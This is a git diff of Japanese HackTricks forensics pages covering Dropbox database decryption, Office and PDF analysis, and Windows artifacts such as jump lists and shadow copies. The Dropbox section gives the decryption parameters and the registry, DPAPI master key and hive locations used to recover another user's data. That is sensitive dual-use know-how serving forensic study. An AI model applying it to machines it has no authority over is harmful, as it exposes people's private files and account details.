-".dbx"拡張子は、これらのデータベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +".dbx" 拡張子は、これらの **データベースが暗号化** されていることを意味します。Dropboxは **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) を使用しています。 -Dropboxが使用する暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。 +Dropboxが使用する暗号化をよりよく理解するためには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) を読んでください。 -ただし、主な情報は次のとおりです: +ただし、主な情報は次のとおりです: -- **エントロピー**:d114a55212655f74bd772e37e64aee9b -- **ソルト**:0D638C092E8B82FC452883F95F355B8E -- **アルゴリズム**:PBKDF2 -- **反復回数**:1066 +* **エントロピー**: d114a55212655f74bd772e37e64aee9b +* **ソルト**: 0D638C092E8B82FC452883F95F355B8E +* **アルゴリズム**: PBKDF2 +* **反復回数**: 1066 -その情報以外に、データベースを復号化するには以下が必要です: +その情報に加えて、データベースを復号化するには以下が必要です: -- **暗号化されたDPAPIキー**:これは、`NTUSER.DAT\Software\Dropbox\ks\client`内のレジストリから見つけることができます(このデータをバイナリとしてエクスポートします) -- **`SYSTEM`**および**`SECURITY`**ハイブ -- **DPAPIマスターキー**:これは`\Users\\AppData\Roaming\Microsoft\Protect`内に見つけることができます -- Windowsユーザーの**ユーザー名**と**パスワード** +* **暗号化されたDPAPIキー**: これは `NTUSER.DAT\Software\Dropbox\ks\client` 内のレジストリから見つけることができます(このデータをバイナリとしてエクスポートします) +* **`SYSTEM`** および **`SECURITY`** ハイブ +* **DPAPIマスターキー**: これは `\Users\\AppData\Roaming\Microsoft\Protect` に見つけることができます +* Windowsユーザーの **ユーザー名** と **パスワード** -その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)を使用できます: +その後、[**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) ツールを使用できます: -![](<../../../.gitbook/assets/image (448).png>) +![](<../../../.gitbook/assets/image (443).png>) -すべてが予想通りに進むと、ツールは**復元に使用する主キー**を示します。元のキーを復元するには、この[cyber\_chefレシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)を使用し、主キーを「パスフレーズ」としてレシピ内に入力します。 +すべてが予想通りに進むと、ツールは **元のキーを回復するために使用する主キー** を示します。元のキーを回復するには、この [cyber\_chef レシピ](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) を使用し、主キーを受け取った "passphrase" として設定します。 -結果の16進数は、データベースを復号化するために使用される最終キーであり、次のように復号化できます: +結果の16進数は、データベースを暗号化するために使用される最終キーであり、これは以下で復号化できます: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` @@ -95,7 +95,7 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con - **Email**: ユーザーのメールアドレス - **usernamedisplayname**: ユーザーの名前 - **dropbox\_path**: Dropboxフォルダが配置されているパス -- **Host\_id**: クラウドへの認証に使用されるハッシュ。これはWebからのみ取り消すことができます。 +- **Host\_id**: クラウドへの認証に使用されるハッシュ。これはウェブからのみ取り消すことができます。 - **Root\_ns**: ユーザー識別子 **`filecache.db`**データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。最も有用な情報を持つテーブルは`File_journal`です: @@ -113,24 +113,24 @@ sqlite -k config.dbx ".backup config.db" #This decompress the con - **deleted\_fields**: Dropboxで削除されたファイル - **date\_added** - + \ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする -- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)をフォローしてください。 +- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2fb1908e9..abac74630 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -6,53 +6,53 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に**参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) を**フォロー** してください。 -* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする** +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。 - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} 詳細については [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) をチェックしてください。これは要約です: -Microsoft は多くのオフィスドキュメント形式を作成しており、主なタイプは **OLE形式**(RTF、DOC、XLS、PPTなど)と **Office Open XML(OOXML)形式**(DOCX、XLSX、PPTXなど)です。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的になります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、XMLファイルの内容を表示できます。 +Microsoft は多くのオフィス文書形式を作成しており、主なタイプは **OLE形式**(RTF、DOC、XLS、PPTなど)と **Office Open XML(OOXML)形式**(DOCX、XLSX、PPTXなど)です。これらの形式にはマクロが含まれることがあり、フィッシングやマルウェアの標的となります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、およびXMLファイルの内容を確認できます。 -OOXMLファイルの構造を調査するために、ドキュメントを解凍するためのコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が続いています。 +OOXMLファイルの構造を探るために、ドキュメントを解凍するコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が続いています。 -分析のために、**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定し、分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、通常は追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Office を使用してMicrosoft Officeなしで行うことができ、ブレークポイントとウォッチ変数を使用したデバッグが可能です。 +分析のために、**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントの詳細なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定および分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Office を使用してMicrosoft Officeを使用せずに行うことができ、ブレークポイントとウォッチ変数でデバッグが可能です。 -**oletools** のインストールと使用は簡単で、pipを使用してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するための手順が示されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によってトリガーされます。 +**oletools** のインストールと使用は簡単で、pipを使用してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するためのコマンドも提供されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によってトリガーされます。 ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** +**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** ! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 1abaef96e..10b2fa188 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -2,51 +2,51 @@ -htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**場合や**PDFでHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワード**された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセス: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -**詳細については、次をチェックしてください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +**詳細についてはこちらをチェック:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) PDF形式は、データを隠す可能性が高い複雑さで知られており、CTFフォレンジックチャレンジの焦点となっています。プレーンテキスト要素とバイナリオブジェクトを組み合わせ、圧縮されたり暗号化されたりする可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことができます。PDFの構造を理解するためには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF固有のエディタを使用することができます。 -PDFを詳細に探索または操作するためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります: +PDFの詳細な探査や操作のためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります: -* 不可視のレイヤー +* 不可視レイヤー * AdobeのXMPメタデータ形式 * インクリメンタルジェネレーション * 背景と同じ色のテキスト -* 画像の後ろのテキストまたは画像の上に重なるテキスト +* 画像の後ろのテキストまたは画像の重なり合い * 非表示のコメント -カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成できます。さらに、PDFの隠されたデータストレージの可能性は非常に広範囲であり、NSAによるPDFのリスクと対策に関するガイドなどのリソースは、元の場所でホストされていないものの、貴重な洞察を提供しています。ガイドの[コピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。 +カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成することができます。さらに、PDFの隠されたデータストレージの可能性は非常に広範囲であり、PDFのリスクと対策に関するNSAガイドなどのリソースは、元の場所でホストされていないものの、貴重な洞察を提供しています。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。 -htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**場合や**PDFでHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index 80236d3b9..8c380a498 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -1,6 +1,6 @@ -# Windows Artifacts +# Windowsのアーティファクト -## Windows Artifacts +## Windowsのアーティファクト @@ -9,42 +9,42 @@ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする。 -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出する。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 -## 一般的なWindowsアーティファクト +## 一般的なWindowsのアーティファクト -### Windows 10通知 +### Windows 10の通知 パス`\Users\\AppData\Local\Microsoft\Windows\Notifications`には、Windows Anniversaryより前の`appdb.dat`またはWindows Anniversary以降の`wpndatabase.db`というデータベースがあります。 -このSQLiteデータベース内には、興味深いデータを含む可能性があるすべての通知(XML形式)を含む`Notification`テーブルがあります。 +このSQLiteデータベース内には、興味深いデータが含まれている可能性があるすべての通知(XML形式)を含む`Notification`テーブルがあります。 ### タイムライン タイムラインは、訪れたWebページ、編集されたドキュメント、実行されたアプリケーションの**時間順の履歴**を提供するWindowsの特性です。 -データベースは、パス`\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`にあります。このデータベースは、SQLiteツールまたは[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)というツールで開くことができます。**これにより、2つのファイルが生成され、[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)で開くことができます。** +データベースは、パス`\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`にあります。このデータベースは、SQLiteツールまたは[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)というツールで開くことができ、[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)というツールで開くことができる**2つのファイルが生成されます**。 -### ADS(代替データストリーム) +### ADS(Alternate Data Streams) -ダウンロードされたファイルには、**ADS Zone.Identifier**が含まれており、それがイントラネット、インターネットなどから**どのように**ダウンロードされたかを示しています。一部のソフトウェア(ブラウザなど)は、通常、ファイルがダウンロードされたURLなどの**さらに多くの情報**を追加します。 +ダウンロードされたファイルには、**ADS Zone.Identifier**が含まれており、それがイントラネット、インターネットなどから**どのように**ダウンロードされたかを示しています。一部のソフトウェア(ブラウザなど)は、通常、ファイルがダウンロードされた**URL**などの**さらなる情報**を追加します。 ## **ファイルのバックアップ** ### リサイクルビン -Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。\ +Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。 このフォルダでファイルが削除されると、2つの特定のファイルが作成されます: * `$I{id}`: ファイル情報(削除された日付) * `$R{id}`: ファイルの内容 -![](<../../../.gitbook/assets/image (486).png>) +![](<../../../.gitbook/assets/image (1029).png>) これらのファイルを使用して、ツール[**Rifiuti**](https://github.com/abelcheung/rifiuti2)を使用して、削除されたファイルの元のアドレスと削除された日付を取得できます(Vista – Win10用に`rifiuti-vista.exe`を使用します)。 ``` @@ -54,25 +54,25 @@ Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルー ### ボリュームシャドウコピー -Shadow Copyは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。これは、使用中であっても可能です。 +シャドウコピーは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。それらが使用中であってもです。 -これらのバックアップは通常、ファイルシステムのルートにある`\System Volume Information`にあり、名前は以下の画像に示す**UID**で構成されています: +これらのバックアップは通常、ファイルシステムのルートの`\System Volume Information`にあり、名前は以下の画像に示す**UID**で構成されています: -![](<../../../.gitbook/assets/image (520).png>) +![](<../../../.gitbook/assets/image (94).png>) -**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップからファイルを**抽出**することができます。 +**ArsenalImageMounter**を使用してフォレンジックイメージをマウントすると、ツール[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)を使用してシャドウコピーを検査し、シャドウコピーのバックアップから**ファイルを抽出**することができます。 -![](<../../../.gitbook/assets/image (521).png>) +![](<../../../.gitbook/assets/image (576).png>) -レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、バックアップしないファイルとキーが含まれています: +レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、バックアップしない**ファイルとキー**が含まれています: -![](<../../../.gitbook/assets/image (522).png>) +![](<../../../.gitbook/assets/image (254).png>) レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`には、`Volume Shadow Copies`に関する構成情報も含まれています。 -### Officeの自動保存ファイル +### オフィスの自動保存ファイル -Officeの自動保存ファイルは、次の場所にあります: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +オフィスの自動保存ファイルは、次の場所にあります: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` ## シェルアイテム @@ -114,164 +114,162 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs これは、**アプリケーションごとに示される最近使用されたファイル**のリストです。各アプリケーションでアクセスできる**最近使用されたファイルのリスト**です。これらは**自動的に作成されるか、カスタムで作成**されることがあります。 -**自動的に作成されたジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである形式に従って名前が付けられます。 +**自動的に作成されるジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、初期IDがアプリケーションのIDである`{id}.autmaticDestinations-ms`という形式に従って命名されます。 -カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これは、ファイルに何か**重要なこと**が起こったためかもしれません(お気に入りとしてマークされたかもしれません)。 +カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はアプリケーションによって作成されます。これはファイルに何か**重要なこと**が起こったためかもしれません(お気に入りとしてマークされたかもしれません)。 どのジャンプリストの**作成時刻**は、**ファイルにアクセスされた最初の時間**を示し、**変更時刻**は最後の時間を示します。 [JumplistExplorer](https://ericzimmerman.github.io/#!index.md)を使用してジャンプリストを調査できます。 -![](<../../../.gitbook/assets/image (474).png>) +![](<../../../.gitbook/assets/image (168).png>) (_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_) ### シェルバッグ -[**こちらのリンク**](interesting-windows-registry-keys.md#shellbags)を参照して、シェルバッグとは何かを学びます。 +[**シェルバッグとは何かを学ぶには、このリンクを参照してください。**](interesting-windows-registry-keys.md#shellbags) ## Windows USBの使用 -USBデバイスが使用されたことを特定することが可能です。これは次のようにして行われます: +USBデバイスが使用されたことを特定することが可能です。これは次のように作成されます: * Windows最近使用したフォルダ * Microsoft Office最近使用したフォルダ * ジャンプリスト -一部のLNKファイルは、元のパスを指す代わりにWPDNSEフォルダを指します: +オリジナルのパスを指す代わりに、一部のLNKファイルはWPDNSEフォルダを指します: 